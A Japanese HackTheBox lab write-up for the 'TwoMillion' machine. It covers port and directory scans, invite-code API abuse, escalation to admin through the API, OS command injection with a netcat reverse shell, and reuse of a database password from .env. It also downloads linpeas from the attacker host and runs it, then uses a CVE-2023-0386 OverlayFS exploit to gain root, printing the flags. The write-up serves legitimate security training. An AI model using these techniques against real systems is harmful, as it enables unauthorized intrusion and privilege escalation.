概要
HackTheBox「TwoMillion 」マシンのWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.221 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx |
ホスト名が分かったので、/etc/hosts
に追加します。
10.10.11.221 2million.htb
Webサイトにアクセスできました。
ディレクトリスキャンを行います。
$ dirsearch -u http://2million.htb/ -o dirsearch_result
[00:27:25] 301 - 162B - /js -> http://2million.htb/js/
[00:27:43] 200 - 2KB - /404
[00:28:12] 401 - 0B - /api
[00:28:13] 401 - 0B - /api/v1
[00:28:15] 301 - 162B - /assets -> http://2million.htb/assets/
[00:28:15] 403 - 548B - /assets/
[00:28:32] 403 - 548B - /controllers/
[00:28:34] 301 - 162B - /css -> http://2million.htb/css/
[00:28:44] 301 - 162B - /fonts -> http://2million.htb/fonts/
[00:28:49] 302 - 0B - /home -> /
[00:28:51] 301 - 162B - /images -> http://2million.htb/images/
[00:28:51] 403 - 548B - /images/
[00:28:56] 403 - 548B - /js/
[00:29:00] 200 - 4KB - /login
[00:29:01] 302 - 0B - /logout -> /
[00:29:26] 200 - 4KB - /register
[00:29:52] 301 - 162B - /views -> http://2million.htb/views/
/register
ではInvite code
が必要になります。
/invite
も見つけました。
/invite
のソースコードを見ると/js/inviteapi.min.js
を読み込んでいると分かりました。
また、コードの認証に成功すると/register
へリダイレクトすると分かります。
/js/inviteapi.min.js
は難読化されているので解析します。
verifyInviteCode()
とmakeInviteCode()
が定義されていると分かりました。
// 関数 'verifyInviteCode' を定義
function verifyInviteCode(code) {
var formData = {"code": code}; // 'code' を含むオブジェクトを作成
$.ajax({
type: "POST", // リクエストタイプは POST
dataType: "json", // データタイプは JSON
data: formData, // 送信するデータは 'formData'
url: '/api/v1/invite/verify', // リクエストを送る URL
success: function(response) {
console.log(response); // 成功時のレスポンスをコンソールに出力
},
error: function(response) {
console.log(response); // エラー時のレスポンスをコンソールに出力
}
});
}
// 関数 'makeInviteCode' を定義
function makeInviteCode() {
$.ajax({
type: "POST", // リクエストタイプは POST
dataType: "json", // データタイプは JSON
url: '/api/v1/invite/how/to/generate', // リクエストを送る URL
success: function(response) {
console.log(response); // 成功時のレスポンスをコンソールに出力
},
error: function(response) {
console.log(response); // エラー時のレスポンスをコンソールに出力
}
});
}
/api/v1/invite/how/to/generate
へリクエストを送信してみるとROT13
で暗号化されたレスポンスが返ってきました。
$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
メッセージを解読すると招待コードを生成するには/api/v1/invite/generate
にPOSTリクエストを送信する必要があると分かりました。
/api/v1/invite/generate
へPOSTリクエストを送信するとエンコードされた招待コードが返ってきました。
$ curl -X POST -H "Content-Type: application/json" -d "{}" http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=","format":"encoded"}}
base64
でデコードすると招待コードが分かりました。
$ echo -n "Qzc4QjMtT0FNTEYtMFhDTVktVzJYWE8=" | base64 -d
C78B3-OAMLF-0XCMY-W2XXO
/invite
で招待コードを入力し、アカウント作成後ログインに成功しました。
Labs
->Access
へアクセスするとVPNファイルのダウンロードや生成を行えるページがありました。
通信先は/api/v1/user/vpn/generate
と/api/v1/user/vpn/regenerate
だと分かりました。
パスが/api/v1/user/~
となっていることから/api/v1/admin/~
もある可能性があります。
/api/v1
へリクエストを送信するとエンドポイントの一覧を取得できました。
PUT /api/v1/admin/settings/update
へのリクエストで現在の一般アカウントをadminアカウントへ変更します。
/api/v1/admin/vpn/generate
でVPNファイルを生成してるということは裏でVPNファイル生成コマンドを実行してそうなのでOSコマンドインジェクションができそうです。
試しにターゲットマシンからKaliへpingを送信すると通信が成功しました。
$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
06:07:21.957914 IP 2million.htb > 10.10.14.14: ICMP echo request, id 2, seq 64, length 64
06:07:21.957929 IP 10.10.14.14 > 2million.htb: ICMP echo reply, id 2, seq 64, length 64
Netcatでリッスンします。
$ nc -lnvp 1234
listening on [any] 1234 ...
PHPのリバースシェルペイロードを送信してシェルを取得します。
シェルを取得できました。
whoami
www-data
user.txt
へアクセスするにはadmin
アカウントへ昇格する必要があります。
ls -l /home/admin
total 4
-rw-r----- 1 root admin 33 Jun 29 18:37 user.txt
cat /home/admin/user.txt
cat: /home/admin/user.txt: Permission denied
/var/www/html/.env
からadminの認証情報を取得できました。
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
adminアカウントへログインします。
su admin
Password: SuperDuperPass123
whoami
admin
ユーザーフラグを取得できました。
cat /home/admin/user.txt
c090e89971bc1cb173d6ace58ede2558
Root Flag
adminアカウントでSSH接続をします。
$ ssh admin@10.10.11.221
admin@2million:~$
linpeas
をローカルマシンからダウンロードし実行します。
$ curl http://10.10.14.14/linpeas.sh -o /tmp/linpeas.sh
$ ./linpeas.sh
メールファイルを発見しました。
╔══════════╣ Mails (limit 50)
271 4 -rw-r--r-- 1 admin admin 540 Jun 2 2023 /var/mail/admin
271 4 -rw-r--r-- 1 admin admin 540 Jun 2 2023 /var/spool/mail/admin
メールの中身を閲覧するとOverlayFS / FUSE
で脆弱性があるみたいです。
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
検索するとCVE-2023-0386
の脆弱性がヒットしました。
こちらのPoCを使用します。
一度KaliへPoCをダウンロードしKaliからターゲットマシンへダウンロードします。
ダウンロード後コンパイルします。
make all
ターゲットマシン側でターミナルを2つ開いて、まず片方で下記コマンドを実行します。
./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
その後、もう一方のターミナルで下記コマンドを実行するとroot権限を取得出来ました。
$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Jun 30 10:56 .
drwxrwxr-x 6 root root 4096 Jun 30 10:56 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/10.10.14.14# whoami
root
/root/root.txt
からフラグを入手します。
# cat /root/root.txt
de8f30755580eb5f527086682fb83b30